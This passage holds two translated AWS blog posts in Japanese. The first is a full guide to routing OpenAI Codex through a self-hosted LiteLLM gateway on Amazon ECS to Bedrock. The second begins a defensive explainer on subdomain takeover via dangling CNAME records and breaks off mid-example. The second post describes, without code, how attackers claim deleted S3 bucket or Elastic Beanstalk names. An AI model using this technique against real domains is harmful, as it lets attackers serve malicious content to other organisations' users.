本ブログは 2026 年 9 月 3 日に公開された AWS Blog “ Set up OpenAI ChatGPT Codex with LiteLLM on Amazon ECS and Amazon Bedrock ” を翻訳したものです。 OpenAI ChatGPT Codex と LiteLLM を組み合わせることで、生成 AI コーディングエージェントに対してエンタープライズ向けの一元的な制御を実現できます。これらのエージェントは、開発者によるリポジトリの理解、コードの記述、テストの実行、複数のステップからなるエンジニアリングタスクの完了を支援します。組織が個人による試験的な利用から、管理体制のもとでの導入へと移行するにつれて、チームにはモデルへのアクセスを制御し、使用量の帰属先を明確にするための一貫した方法が必要になります。また、予算とレート制限を適用し、モデルアクセス経路を監視する必要もあります。 OpenAI Codex (Codex) は、タスクループを開発者のワークステーション上で実行します。ローカルファイルを読み取り、ローカルのサンドボックスと承認設定の範囲内で、承認済みのツールを実行します。その場合でも、モデル推論は、お客様の AWS アカウント内のインフラストラクチャを経由するようにルーティングできます。 この記事では、お客様が運用する LiteLLM ゲートウェイを Amazon Elastic Container Service (Amazon ECS) にデプロイする手順を説明します。ゲートウェイを Amazon Bedrock 上の OpenAI モデルに接続し、ゲートウェイの Responses API を使用するように Codex を設定する方法を紹介します。また、セマンティックな継続 (semantic continuation)、ストリーミング、関数呼び出し (function calling) を検証する方法も紹介します。最後に、AWS IAM Identity Center による直接アクセスや、Portkey のようなマネージドゲートウェイの方が適しているケースについて説明します。 完全な実装は guidance-codex リポジトリ で公開されています。この記事で主に取り上げる構成については、「 LiteLLM on AWS quickstart 」の手順に従ってください。 ソリューションの概要 次のアーキテクチャでは、Codex と Amazon Bedrock の間に LiteLLM を配置します。LiteLLM は、モデル認証、ルーティング、予算、レート制限、ゲートウェイテレメトリを共通で管理するコントロールポイントになります。ローカルのタスクとツール実行のループは、引き続き Codex が担当します。 次の図は、開発者のワークステーションからゲートウェイを経由して Amazon Bedrock に到達し、再び戻ってくるまでのエンドツーエンドのリクエストフローを示しています。番号付きの 5 つのステップで、1 回のモデルターンがインフラストラクチャをどのように通過するかを確認してください。 図 1: Codex はモデルリクエストを LiteLLM 経由で送信し、ローカルのツール実行は引き続き開発者のワークステーション上で行われます リクエストフローは次の 5 つのステップで進みます。 Codex は、現在のタスクコンテキストと利用可能なツール定義を、ゲートウェイの /v1/responses エンドポイントに送信します。 Application Load Balancer と AWS WAF がネットワーク層とウェブ層の制御を適用したうえで、AWS Fargate 上の LiteLLM にリクエストを転送します。 LiteLLM は呼び出し元を認証し、設定されたモデルと利用量ポリシーを確認したうえで、ECS タスクロールを使用して Amazon Bedrock 上の承認済みモデルを呼び出します。 Amazon Bedrock は、テキストまたは関数呼び出しを LiteLLM 経由で返します。 モデルがツールの実行を要求した場合、Codex はサンドボックスと承認ポリシーの範囲内でそのツールをローカルで実行します。Codex は次の Responses リクエストでツールの実行結果を LiteLLM 経由で送信し、ループが続きます。 リファレンスデプロイでは、次のサービスも使用します。 LiteLLM の状態、使用状況、予算データを保存する Amazon Relational Database Service (Amazon RDS) for PostgreSQL ゲートウェイとスコープ付きキーのシークレットを保存する AWS Secrets Manager と、それらのシークレットを暗号化する AWS Key Management Service (AWS KMS) Amazon CloudWatch のログ、CloudWatch Container Insights、アラーム、デプロイのヘルス監視 イミュータブルなゲートウェイイメージを格納する Amazon Elastic Container Registry (Amazon ECR) オプションで利用できる AWS WAF のマネージド保護と、送信元 IP に基づくレート制限 この役割分担が重要です。ゲートウェイに AWS アカウント内の汎用シェルが与えられるわけではなく、Codex のローカル承認を置き換えるものでもありません。ゲートウェイが制御するのは、個々のモデルターンです。 このパターンで LiteLLM を使用する理由 LiteLLM は、API 互換のエンドポイントを通じて、モデルルーティング、仮想キー、予算、レート制限、使用状況テレメトリを提供するオープンソースの AI ゲートウェイです。このパターンでは、お客様が自身の AWS アカウント内で LiteLLM とそれを支えるインフラストラクチャを運用します。 ネイティブの AWS アイデンティティ、AWS Identity and Access Management (IAM) ポリシー、AWS CloudTrail のログでお客様の要件を満たせる場合は、Amazon Bedrock への直接アクセスが最もシンプルな選択肢です。開発者、チーム、モデルプロバイダーをまたいで一貫した追加の制御がシステムチームに必要な場合に、ゲートウェイが役立ちます。 次のような要件がある場合、お客様が自ら運用する選択肢として LiteLLM が有効です。 承認済みのモデルエイリアスのみを許可する ユーザー単位またはチーム単位のスコープ付きゲートウェイキーを発行する 厳格な予算上限と、1 分あたりのリクエスト数または 1 分あたりのトークン数の制限を適用する ルーティングとフォールバックのポリシーを一元化する アップストリームのモデルが共有の ECS タスクロールを使用する場合でも、ゲートウェイレベルでアイデンティティを保持する ゲートウェイ、データベース、ネットワーク、ログ、アップグレードプロセスを自身の AWS アカウント内で運用する 主なトレードオフは運用責任です。ゲートウェイの可用性、データベースのライフサイクル、バージョンのアップグレード、インシデント対応、キャパシティプランニングは、お客様のチームが担います。 Amazon ECS に Codex 用の LiteLLM ゲートウェイをデプロイする このセクションでは、LiteLLM ゲートウェイをデプロイして Amazon Bedrock に接続し、ゲートウェイ経由でリクエストを送信するように Codex を設定する手順を説明します。 前提条件 このウォークスルーには、次のものが必要です。 AWS アカウントと、仮想プライベートクラウド (VPC)、Amazon ECS、Elastic Load Balancing、Amazon RDS、Amazon ECR、AWS WAF、IAM、AWS KMS、Secrets Manager、CloudWatch の各リソースを作成する権限 デプロイ先の AWS リージョンにおける、Amazon Bedrock 上の選択した OpenAI モデルへのアクセス 認証済みプロファイルを設定した AWS コマンドラインインターフェイス (AWS CLI) バージョン 2 Buildx を含む Docker Codex CLI Python 3 HTTPS でデプロイする場合は、パブリックな Amazon Route 53 ホストゾーン、または同じリージョン内の既存の AWS Certificate Manager (ACM) 証明書 このウォークスルーは、米国東部 (バージニア北部) リージョン (us-east-1) で、ゲートウェイエイリアス openai.gpt-5.5 を使用して検証しました。このエイリアスは、LiteLLM の設定で bedrock_mantle/openai.gpt-5.5 にマッピングされています。利用できるモデルはアカウントとリージョンによって異なります。 コストに関する注意: このソリューションでは、Application Load Balancer、Fargate タスク、Amazon RDS、AWS WAF、ログ、モデル推論など、課金対象のリソースが作成されます。サンプルの VPC でもネットワーク料金が発生する場合があります。ご利用のリージョンの最新料金を確認し、ウォークスルーの完了後は「クリーンアップ」セクションの手順に従ってください。 Amazon ECS に LiteLLM をデプロイする リポジトリをクローンし、ローカルのデプロイ環境ファイルを作成します。 git clone https://github.com/openai-on-aws/guidance-codex.git cd guidance-codex git checkout feat/enterprise-gateway-readiness cp deployment/litellm/.env.deploy.example \ deployment/litellm/.env.deploy 実際の .env.deploy ファイルは Git の追跡対象外です。使用する AWS プロファイル、リージョン、送信元 CIDR、DNS または証明書の値を設定します。次の抜粋は、本番環境を想定した設定例です。 AWS_PROFILE=your-profile AWS_REGION=us-east-1 BEDROCK_REGION=us-east-1 ENABLE_TLS=true GATEWAY_DOMAIN_NAME=codex-gateway.example.com ROUTE53_HOSTED_ZONE_ID=Z0123456789EXAMPLE ALB_CERTIFICATE_ARN= ALLOWED_CIDR=203.0.113.10/32 ENABLE_WAF=true DB_MULTI_AZ=true DESIRED_COUNT=2 MIN_TASK_COUNT=2 MAX_TASK_COUNT=10 ALB_CERTIFICATE_ARN を ROUTE53_HOSTED_ZONE_ID の代わりに設定すると、既存の証明書を使用できます。お客様のランディングゾーンにデプロイする場合は、本番デプロイガイドの説明に従って、既存の VPC と、パブリック、プライベートアプリケーション、プライベートデータベースの各サブネットを個別に指定します。 読み取り専用の事前チェック (プリフライト) を実行します。 make litellm-check # Direct helper invocation used by Make: # deployment/scripts/litellm-stack.sh check 事前チェックでは、AWS CLI v2、AWS アイデンティティ、Docker、イミュータブルなイメージ参照、リージョンの一貫性、CIDR の制限、TLS の入力値、ローカルドキュメントのリンクを検証します。cfn-lint が利用可能な場合は、AWS CloudFormation の構文も検証します。 レビュー済みの LiteLLM イメージをビルドし、Amazon ECR にプッシュします。 CONFIRM_AWS_WRITE=1 make litellm-build # Direct helper invocation used by Make: # CONFIRM_AWS_WRITE=1 deployment/scripts/litellm-stack.sh build ビルドでは、ダイジェストで固定された LiteLLM ベースイメージを使用し、生成された ECR ダイジェストを Git の追跡対象外のローカル状態ファイルに記録します。CloudFormation には、変更可能なイメージタグではなく、イミュータブルなダイジェストが渡されます。内部的には、ヘルパーがイミュータブルな Amazon ECR リポジトリを作成または再利用し、Amazon ECR にサインインして docker buildx build --push を実行したうえで、プッシュされたイメージのダイジェストを取得します。 CloudFormation 変更セットを、実行せずに作成します。 make litellm-plan # Direct helper invocation used by Make: # deployment/scripts/litellm-stack.sh plan このコマンドは、ネットワークまたはゲートウェイのテンプレートに対して aws cloudformation deploy --no-execute-changeset を呼び出します。レビュー可能な変更セットが作成されますが、実行はされません。 変更セットをレビューしてから、デプロイします。 CONFIRM_AWS_WRITE=1 make litellm-deploy make litellm-status # Direct helper invocations used by Make: # CONFIRM_AWS_WRITE=1 deployment/scripts/litellm-stack.sh deploy # deployment/scripts/litellm-stack.sh status deploy ヘルパーは、ネットワークスタック、続いて LiteLLM ゲートウェイスタックに対して aws cloudformation deploy を実行します。status ヘルパーは aws cloudformation describe-stacks を実行し、スタックの状態と出力を表示します。 ECS サービスでは、デプロイサーキットブレーカーによるロールバックと Application Load Balancer のヘルスチェックを使用します。リファレンステンプレートでは、ターゲット追跡によるオートスケーリング、ログとデータの暗号化、RDS のバックアップ、ALB アクセスログ、運用アラームも設定されます。 お客様の環境では、 ENABLE_TLS=true を維持し、信頼できる DNS 名と ACM 証明書を使用したうえで、Application Load Balancer へのアクセスを承認済みの社内ネットワークまたは VPN の CIDR に制限してください。ECS タスクと Amazon RDS はプライベートサブネットに配置します。ECS タスクのポート 4000 や PostgreSQL のポート 5432 をパブリックに公開しないでください。 スコープ付きのゲートウェイアイデンティティを作成する LiteLLM のマスターキーを開発者に配布しないでください。代わりに、Git の追跡対象外のデプロイファイルで、ユーザーまたはチームのアイデンティティとポリシーを設定します。 CODEX_API_SECRET_ID=codex-litellm-gateway/alice-key CODEX_KEY_ALIAS=alice@example.com CODEX_KEY_USER_ID=alice@example.com CODEX_KEY_MODELS=gpt-5.5 CODEX_KEY_MAX_BUDGET=50 CODEX_KEY_BUDGET_DURATION=30d CODEX_KEY_TPM_LIMIT=100000 CODEX_KEY_RPM_LIMIT=1000 キーをプロビジョニングします。 CONFIRM_AWS_WRITE=1 make litellm-provision-key # Direct helper invocation used by Make: # CONFIRM_AWS_WRITE=1 deployment/scripts/litellm-stack.sh provision-key ヘルパーは子プロセス内でマスター認証情報を取得し、設定されたモデル、予算、レートのポリシーを指定して LiteLLM の /key/generate API を呼び出します。そのうえで、生成されたキーを AWS KMS で暗号化された Secrets Manager シークレットに直接書き込みます。どちらの認証情報も、コマンド引数に含めたり、ターミナルに出力したりすることはありません。 エンタープライズ規模で展開する場合は、各開発者のプロファイルに、割り当てられたスコープ付きキーのシークレットのみを読み取り、スタックの KMS キーで復号する権限を付与します。チームや環境ごとに、個別のシークレットパスと IAM ポリシーを使用してください。 Codex を設定する プロバイダーブロックを生成します。 make litellm-codex-config # Direct helper invocation used by Make: # deployment/scripts/litellm-stack.sh codex-config ヘルパーは、デプロイされたゲートウェイのエンドポイントを CloudFormation から読み取り、次の Codex プロバイダー設定を出力します。ユーザー設定に自動で書き込むことはありません。 出力内容を、ユーザーレベルの ~/.codex/ config.toml に追加します。プロバイダーと認証の設定は、ユーザーレベルの設定に記述する必要があります。プロジェクトローカルの .codex/ config.toml ファイルに記述しても、Codex はこれらの設定を無視します。 生成される設定は次のような形式です。 model = "gpt-5.5" model_provider = "litellm-gateway" web_search = "disabled" [model_providers.litellm-gateway] name = "LiteLLM Gateway" base_url = "https://codex-gateway.example.com/v1" wire_api = "responses" [model_providers.litellm-gateway.auth] command = "/absolute/path/to/python3" args = [ "/absolute/path/to/deployment/scripts/aws-secret-auth.py", "--aws-cli", "/absolute/path/to/aws", "--region", "us-east-1", "--secret-id", "codex-litellm-gateway/alice-key", "--field", "LITELLM_API_KEY", "--profile", "developer-profile", "print-token" ] timeout_ms = 30000 refresh_interval_ms = 300000 Codex は標準入力なしで認証コマンドを実行し、その標準出力からベアラートークンを読み取ります。ヘルパーは名前付きの AWS プロファイルを使用して最新のシークレットを取得するため、トークンが config.toml に保存されることはありません。 LiteLLM の管理 UI の [Models + Endpoints] には、開発者が利用できる安定したエイリアスと、各エイリアスからアップストリームの Amazon Bedrock モデルへのマッピングが表示されます。これにより、開発者が Codex の設定をプロバイダー固有のモデル ID に直接結び付けるのではなく、ゲートウェイエイリアスを参照していることを、画面上ですばやく確認できます。 次の図は、2 つのモデルエイリアスが設定された [Models + Endpoints] ページを示しています。Codex の設定に進む前に、このリストにゲートウェイエイリアスが表示されていることを確認してください。 図 2: モデル管理ビューには、gpt-5.4 と gpt-5.5 のエイリアスと、それぞれの Amazon Bedrock Mantle へのマッピングが表示されます LiteLLM 経由で Codex をテストする 新しい対話型の Codex セッションを開始し、 /status を使用して、 litellm-gateway がプロバイダーとして選択されていることを確認します。再現可能な非対話型のテストとして、まず最小限のスモークリクエストを実行します。 codex exec --sandbox read-only --ephemeral \ "Reply with exactly LITELLM_GATEWAY_OK and no other text." コマンドが正常に終了し、 LITELLM_GATEWAY_OK が出力されれば成功です。次に、モデル推論とローカルツールの両方が必要なタスクで、エージェントループを動かしてみます。 codex exec --sandbox read-only --ephemeral \ "Read README.md with shell tools and summarize the deployment architecture. Do not modify files." Codex は、タスクとツール定義を LiteLLM 経由で送信します。モデルがファイルの読み取りを要求すると、Codex はそのコマンドをローカルで実行し、同じゲートウェイを通じてツールの実行結果を返します。 LiteLLM の管理 UI で [Logs] を開き、 [Request Logs] を選択して、テストを実施した時間帯で絞り込みます。次の点を確認します。 リクエストのステータスが Success であること キーエイリアスによって、ウォークスルー専用のキーまたは開発者のキーが識別されていること モデルが想定どおり Amazon Bedrock のモデルにマッピングされていること トークン数、リクエストの所要時間、コストが記録されていること Codex が後続の Responses リクエストでツールの実行結果を送信するため、ツールを使用するタスクで複数の行が作成されていること LiteLLM に行が記録される前に 403 レスポンスが返される場合、原因の多くはアップストリームのネットワークまたは AWS WAF によるブロックです。 401 レスポンスは、ゲートウェイの認証情報がないか、無効であることを示します。スクリーンショットには、プロンプト、レスポンス、生のキー、完全なリクエスト ID、実在する従業員を特定できる情報を掲載しないでください。 次の図は、複数の Codex リクエストがゲートウェイを正常に通過した後の LiteLLM の [Request Logs] ページを示しています。このページで、リクエストが Amazon Bedrock に到達していることを確認し、ステータスコードを手がかりにエラーのトラブルシューティングを行います。 図 3: リクエストログには、codex-walkthrough キーエイリアスに帰属する成功した Codex の各ターンが、モデル、コスト、所要時間、最初のトークンが返されるまでの時間とともに表示されます Responses API のコントラクトを検証する テキストプロンプトに正常な応答が返っても、エージェントワークフローとの互換性が証明されたことにはなりません。Codex は、基本的なチャット補完のレスポンスだけでなく、より多くの機能に依存しているためです。リポジトリに含まれている厳格なプローブを実行します。 make litellm-validate # Direct helper invocation used by Make: # deployment/scripts/litellm-stack.sh validate ヘルパーはスコープ付きキーを取得して子プロセスの環境に渡し、デプロイされたゲートウェイに対して deployment/scripts/ validate-responses-contract.py を実行します。 プローブでは、次の項目を検証します。 Responses オブジェクトの必須フィールドと出力の形式 previous_response_id を使用したセマンティックな継続 完了状態の最終レスポンスを含む Server-Sent Events のストリーミング 呼び出し ID を伴う関数ツールの強制呼び出し 継続テストでは、最初のレスポンスに一意のテストマーカーを記録し、後続のレスポンスでそのマーカーを参照できることを検証します。これにより、 previous_response_id を構文上は受け付けるものの、前のレスポンスの状態を保持しないゲートウェイを検出できます。 実際のデプロイ環境は、コントラクト全体の検証に合格しました。CloudFormation は正常に完了し、ECS サービスは必要なタスク数に到達し、デプロイのロールアウトも完了しました。また、ALB のターゲットは正常で、暗号化された PostgreSQL データベースは利用可能かつパブリックにアクセスできない状態でした。 次の図は、実際のウォークスルースタックから取得したエンドツーエンドのデプロイ検証ダッシュボードを示しています。全体の合否ステータスと、インフラストラクチャのヘルス、API コントラクトへの準拠、データ層の設定、セキュリティポスチャを確認する 4 つの詳細パネルに注目してください。 図 4: 検証出力により、AWS のデプロイが正常であることと、Codex が必要とする Responses API の動作を確認できます 検証スクリプトは互換性を確認するためのゲートであり、負荷テストではありません。本番環境に移行する前に、エージェントセッションの同時実行、長時間のストリーム、リクエストのキャンセル、キーの失効、障害からの復旧、想定されるピークトラフィックについてもテストしてください。 エンタープライズ利用に向けて LiteLLM の運用を整備する codex exec とコントラクトテストが成功したことで、Codex がゲートウェイを使用できることは確認できましたが、互換性は出発点にすぎません。開発者のオンボーディングを始める前に、ゲートウェイでモデルアクセスをどのように制御し、使用量の帰属先を明確にし、利用量ポリシーを適用し、各モデルリクエストの運用記録を残すかを定義します。 まず、開発者が使用できるモデルの範囲を決めます。組織が承認したモデルに対してのみ安定したゲートウェイエイリアスを公開し、各アップストリームのマッピングを deployment/litellm/ litellm_config.yaml で固定します。ゲートウェイイメージを再ビルドし、同じ Amazon ECR ダイジェストを各環境に順次昇格させます。これにより、開発者は安定したエイリアスを使い続けることができ、その背後にある Amazon Bedrock モデルはシステムチームが管理し続けられます。 すべてのリクエストの帰属を明確にできれば、モデルポリシーはより効果を発揮します。LiteLLM のマスターキーを配布する代わりに、ユーザー、チーム、ワークロードごとに個別のスコープ付きキーを発行します。アップストリームのリクエストで Amazon Bedrock から見えるのは LiteLLM の ECS タスクロールであるため、リクエスト元のアイデンティティを、スコープ付きキー、LiteLLM のレコード、エクスポートされたテレメトリに引き継ぎます。これにより、ゲートウェイで開発者やチームへの帰属を維持でき、認証情報を記録することなく、リクエスト ID を AWS サービスのログと関連付けられます。 同じスコープ付きアイデンティティで、利用量ポリシーも適用できます。キーをプロビジョニングする際に、 CODEX_KEY_MAX_BUDGET 、 CODEX_KEY_BUDGET_DURATION 、 CODEX_KEY_TPM_LIMIT 、 CODEX_KEY_RPM_LIMIT を設定します。検証専用の一時的なアイデンティティで設定済みのしきい値を意図的に超え、LiteLLM が次のリクエストを拒否することを確かめて、これらの制御を検証します。こうすることで、設定が受け入れられたことを確認するだけでなく、ポリシーそのものが機能するかをテストできます。 ゲートウェイを運用するには、リクエスト経路全体を可視化することも必要です。AWS インフラストラクチャのシグナルからはサービスが正常かどうかがわかり、LiteLLM のレコードからは誰がどのモデルを使用し、リクエストがどれだけのキャパシティや予算を消費したかがわかります。ECS の必要タスク数と実行中タスク数、デプロイのロールバック、Application Load Balancer のターゲットのヘルスとレイテンシー、Amazon RDS のヘルス、LiteLLM のリクエスト数と拒否数、トークン使用量、支出、シークレットへのアクセス、IAM の変更、AWS WAF によるブロックをモニタリングします。 開発者のオンボーディングを始める前に、プロンプトとレスポンスをログに記録してよいかどうかを決めておきます。このコンテンツは機密性の高いお客様のデータを含む可能性があるものとして扱い、それに応じて秘匿化、暗号化、アクセス制御、保持期間を定義します。本番環境のデプロイでは、コンテンツのフィルタリング、拒否トピックの検出、グラウンディングチェックのために、モデルアクセス経路で Amazon Bedrock Guardrails を有効にすることを推奨します。ゲートウェイレベルの制御 (予算、レート制限、ルーティング) は、モデルレイヤーで適用される責任ある AI のセーフガードを補完するものであり、その代わりになるものではありません。 次の図は LiteLLM の [Usage] ページを示しています。このページでは、ゲートウェイを使用するすべての開発者のリクエストとトークンのメトリクスが集計されます。予算やレート制限を調整する前に、このビューで導入状況をモニタリングし、コストの異常を特定し、ユーザーや期間ごとにトラフィックを切り分けます。 図 5: 使用状況ダッシュボードでは、選択した検証期間について、モデル単位のリクエスト、トークン、支出、成功率を可視化できます 図 5 の検証期間には、成功したトラフィックと失敗したリクエストの両方が含まれており、ダッシュボードで通常のアクティビティとエラーの両方を確認できることがわかります。Codex は後続の Responses リクエストでローカルツールの実行結果をモデルに返すため、ツールを使用するタスクではリクエストログに複数の行が記録されることがあります。このように、実行の境界は運用データにも表れます。LiteLLM はモデルリクエストを制御して記録し、Codex は開発者のワークステーション上でツールを実行します。 2 つの代替アクセス経路を検討する このウォークスルーで LiteLLM を主に取り上げたのは、ゲートウェイによる追加の制御をわかりやすく示せるためです。ただし、すべてのお客様に最適というわけではありません。 IAM Identity Center による直接アクセス AWS ネイティブのアイデンティティと監査の制御で十分な場合は、組み込みの amazon-bedrock Codex プロバイダーを使用します。 model_provider = "amazon-bedrock" model = "openai.gpt-5.5" [model_providers.amazon-bedrock.aws] profile = "codex-bedrock" region = "us-east-1" 開発者は、名前付きの IAM Identity Center プロファイルでサインインします。 aws sso login --profile codex-bedrock この経路では、ゲートウェイ、データベース、およびそれらに関連する運用が不要になります。開発者の AWS セッションのアイデンティティは AWS CloudTrail のログに残りますが、ゲートウェイレベルで一元管理する厳格な予算上限やルーティングポリシーは追加されません。 リポジトリの「 IAM Identity Center quickstart 」には、分離されたグループとアクセス許可セットの作成、そのグループの AWS アカウントへの割り当て、クライアント設定の出力、サインインしたプロファイルによる Amazon Bedrock へのアクセス検証を行うための CloudFormation とヘルパーコマンドが含まれています。ゲートウェイを追加する前に、まずこの直接アクセス経路をベースラインとして使用してください。 Portkey によるマネージドアクセスまたはハイブリッドアクセス LiteLLM のリファレンススタックを自ら運用することなく、マネージドのコントロールプレーン、一元化されたルーティングとポリシー、またはサポートが提供されるハイブリッドデータプレーンを利用したい場合は、Portkey が役立ちます。 Codex を Portkey 経由で評価するには、Portkey のワークスペースキー、Amazon Bedrock Model Catalog プロバイダー、Responses ワイヤプロトコルを設定します。 model_provider = "portkey" model = "@bedrock-validation/<approved-model-id>" [model_providers.portkey] name = "Portkey" base_url = "https://api.portkey.ai/v1" env_key = "PORTKEY_API_KEY" wire_api = "responses" 本番環境に昇格させる前に、同じ厳格な Responses プローブを実行します。特に、 previous_response_id によるセマンティックな継続、ストリーミング、関数呼び出し、Amazon Bedrock への正確なルート、IAM ロールと外部 ID の設計を検証してください。製品ドキュメントや認証レスポンスだけでは、意図したモデル経路が Codex のコントラクト全体を満たしている根拠にはなりません。 ゲートウェイ全体を自身の AWS アカウントで運用することよりも、マネージドまたはハイブリッドの運用モデルを重視する場合は、Portkey を選択します。アーキテクチャを決定する際には、ベンダーのライセンス、データの取り扱い、リージョンごとの提供状況、障害モード、サポート範囲も確認してください。 クリーンアップ CloudFormation によって削除されるリソースと保持されるリソースをプレビューします。 make litellm-cleanup-plan # Direct helper invocation used by Make: # deployment/scripts/litellm-stack.sh cleanup-plan このコマンドはスタックを読み取り、何も削除せずに、各リソースが削除されるか保持されるかを一覧表示します。 正確なスタック名を確認したうえで、ゲートウェイを削除します。 CONFIRM_STACK_DELETE=codex-litellm-gateway \ make litellm-cleanup # Direct helper invocation used by Make: # CONFIRM_STACK_DELETE=codex-litellm-gateway \ # deployment/scripts/litellm-stack.sh cleanup ヘルパーは Amazon RDS の削除保護を確認し、 aws cloudformation delete-stack を呼び出して、ゲートウェイスタックの削除が完了するまで待機します。 共有されていないサンプルのネットワークスタックも削除する場合は、オプトインしたうえで個別に確認します。 CONFIRM_STACK_DELETE=codex-litellm-gateway \ DELETE_NETWORKING=1 \ CONFIRM_NETWORKING_DELETE=codex-networking \ make litellm-cleanup # Direct helper invocation used by Make: # CONFIRM_STACK_DELETE=codex-litellm-gateway \ # DELETE_NETWORKING=1 \ # CONFIRM_NETWORKING_DELETE=codex-networking \ # deployment/scripts/litellm-stack.sh cleanup これにより、ゲートウェイスタックに続いて、サンプルのネットワークスタックも削除されます。共有ネットワークにはこのオプションを使用しないでください。 リファレンススタックは Amazon RDS の最終スナップショットを作成し、KMS キー、Secrets Manager のシークレット、CloudWatch のロググループ、ALB のアクセスログ用バケットを保持します。ECR イメージと、プロビジョニングしたスコープ付きキーのシークレットも、スタック削除の対象外です。データ保持ポリシーに従って、保持されたリソースを確認し、削除してください。 まとめ Codex を LiteLLM 経由でルーティングすると、Codex がローカルでタスクとツールを実行する方式を維持しながら、お客様が運用するコントロールポイントで、モデルの選択、スコープ付きアイデンティティ、予算、レート制限、テレメトリを管理できます。本番環境への移行で重要な判断基準は、ゲートウェイがテキストを返せるかどうかではありません。エージェントワークフローに必要な Responses の動作をゲートウェイが維持できるかどうか、そしてシステムチームが追加されたインフラストラクチャを確実に運用できるかどうかです。 AWS ネイティブの制御で要件を満たせる場合は、IAM Identity Center による直接アクセスから始めてください。お客様が運用するゲートウェイのポリシーが運用負荷に見合う場合は、LiteLLM を追加します。マネージドまたはハイブリッドの運用モデルの方が組織に適している場合は Portkey を評価してください。いずれの経路でも、同じコントラクトテストを適用してください。 関連リソース Guidance for Codex on AWS の実装 Amazon Bedrock での OpenAI Amazon Bedrock ドキュメント LiteLLM on AWS quickstart IAM Identity Center quickstart Portkey evaluation quickstart 本番デプロイのガイダンス Codex のカスタムモデルプロバイダー Amazon Bedrock で Codex を使用する方法 AWS Fargate 上の Amazon ECS AWS IAM Identity Center ドキュメント LiteLLM プロキシのドキュメント Portkey の Codex 統合 AWS Pricing Calculator 著者について Nick McCarthy Nick は Amazon Bedrock チームの Senior Generative AI Specialist Solutions Architect で、Amazon Bedrock 上の OpenAI モデルと Codex を専門としています。ヘルスケア、金融、スポーツ、通信、エネルギーなど、幅広い業界の AWS のお客様と協力し、AI と機械学習を活用してビジネス成果の創出を加速できるよう支援してきました。 Sunil Bemarkar Sunil は Amazon Web Services の Sr. Partner Solutions Architect – Gen AI です。大規模言語モデル (LLM) プロバイダーと協力し、お客様が AWS で生成 AI を導入して運用できるよう支援しています。 Sudeesh Sasidharan Sudeesh 氏は OpenAI の Member of Go-to-Market Staff で、OpenAI API と Codex を専門としています。Amazon Bedrock に関して AWS と協力し、組織が OpenAI のフロンティアモデルを導入およびデプロイできるよう支援する活動も行っています。 本ブログは Security Solutions Architect の 中島 章博 が翻訳しました。

本ブログは 2026 年 6 月 16 日に公開された AWS Blog “ Threat tactic spotlight: Subdomain takeover ” を翻訳したものです。 このブログ記事では、サブドメイン乗っ取り (subdomain takeover) を検出して防止する方法を説明します。サブドメイン乗っ取りとは、脅威アクターがダングリング DNS レコード (dangling DNS record) を悪用し、トラフィックを攻撃者が管理するリソースにリダイレクトする手口です。この記事では、この問題の概要と発生する仕組みを説明し、さまざまな AWS の機能やサービスを使用してこの手口の影響を緩和する方法を紹介します。 責任共有モデル では、クラウド内の設定のセキュリティを確保することはお客様の責任です。AWS は、強固なデフォルト設定、 Well-Architected フレームワークのセキュリティの柱 のガイダンス、およびセキュリティサービスを通じて、お客様がその責任を果たせるよう支援しています。また、AWS Customer Incident Response Team (AWS CIRT) は、お客様の特定の設定を悪用するために脅威アクターが使用する新たな手口や流行している手口を監視しています。これにより、お客様は十分な情報に基づいて設計上の判断を下し、対応計画を改善できます。 AWS CIRT は、サブドメイン乗っ取りの機会を狙う脅威アクターが、既に存在しないリソースを指すパブリック DNS の CNAME レコードを積極的にスキャンしていることを確認しています。 注: サブドメイン乗っ取りの手口は、AWS サービスの脆弱性を利用するものではありません。ダングリング DNS レコードを悪用して、トラフィックを攻撃者が管理するリソースにリダイレクトするものです。 DNS の基礎知識 CNAME レコード: CNAME (Canonical Name) レコードは、あるドメイン名を別のドメイン名に向ける DNS エントリです。例えば、api.example.com が api.example.s3-website-us-east-1.amazonaws.com を指すように設定できます。DNS のこの機能により、実際のリソースには機械的に生成された長い AWS ホスト名が割り当てられていても、お客様は覚えやすくわかりやすいドメイン名を設定できます。ただし、ターゲットのリソースを削除した後もそれを指す CNAME レコードが残っていると、「ダングリング」レコードとなり、セキュリティ上の問題が生じます。 ダングリングレコード: リソース (S3 バケットなど) を削除した後もそれを指す DNS レコードが残っている場合、その DNS レコードは存在しないリソースを指す「ダングリング」状態になります。グローバルに共有される名前空間内のリソースの場合、脅威アクターが削除済みのリソース名を取得し、お客様の DNS レコードを通じて悪意のあるコンテンツを配信できる可能性があります。 サブドメイン乗っ取りとは？ サブドメインとは、ドメインの前に付加するプレフィックスで、リソースへのアクセスを整理するために使用します。サブドメイン乗っ取りは、お客様が基盤となるリソースを削除した後、脅威アクターが同じ名前で新しいリソースを作成し、そのリソースを指したまま残っている DNS レコードを悪用することで発生します。 サブドメイン乗っ取りが起こり得るのは、グローバルに共有される DNS 名前空間を使用する AWS リソースを CNAME レコードが指している場合です。このような名前空間では、AWS のお客様であれば誰でもリソース名を選択できます。次の AWS リソースがこの条件に該当します。 Amazon S3 (グローバル名前空間): mybucket.s3.amazonaws.com のようなバケット名はグローバルに一意であり、バケットが削除されると、どのアカウントでもその名前を取得できます。注: アカウントリージョナル名前空間 (2026 年 3 月にリリース) を使用して作成された S3 バケットは、スコープがお客様のアカウントに限定されるため、この問題の対象にはなりません。 Amazon CloudFront: d111111abcdef8.cloudfront.net のようなディストリビューションのドメイン名は AWS によって割り当てられるため、攻撃者が選択することはできません。ただし、お客様がディストリビューションを削除した後、別のお客様が新たに作成したディストリビューションにたまたま同じドメイン名が割り当てられると、ダングリング CNAME を通じて、そのお客様のコンテンツが配信される可能性があります。 AWS Elastic Beanstalk: myapp.elasticbeanstalk.com のような環境名はグローバルに一意であり、環境を終了すると、どのアカウントでもその名前を取得できます。 Amazon VPC、Amazon EC2 インスタンス、プライベートホストゾーンなどのリソースは、グローバルに取得可能な DNS 名前空間を公開していないため、この手口の対象にはなりません。 MITRE ATT&CK では、この手法を T1584.001: Compromise Infrastructure – Domains に分類しています。 シナリオ例の分析 次のシナリオを考えてみましょう。 S3 ウェブサイトエンドポイントを指す DNS CNAME レコードを作成したとします。これにより、サブドメイン subdomain.example.com は subdomain.example.s3-website-us-east-1.amazonaws.com に解決され、subdomain.example という名前の S3 バケットからコンテンツが配信されます。チームがバケットを削除した際に DNS レコードの削除を忘れると、サイトにアクセスしたユーザーには、バケットが存在しないことを示すエラーが表示されます。しかし、この時点で脅威アクターがこのエラーに気付いてそのバケット名を取得すると、独自のサイトを構築できてしまいます。ユーザーが subdomain.example.com 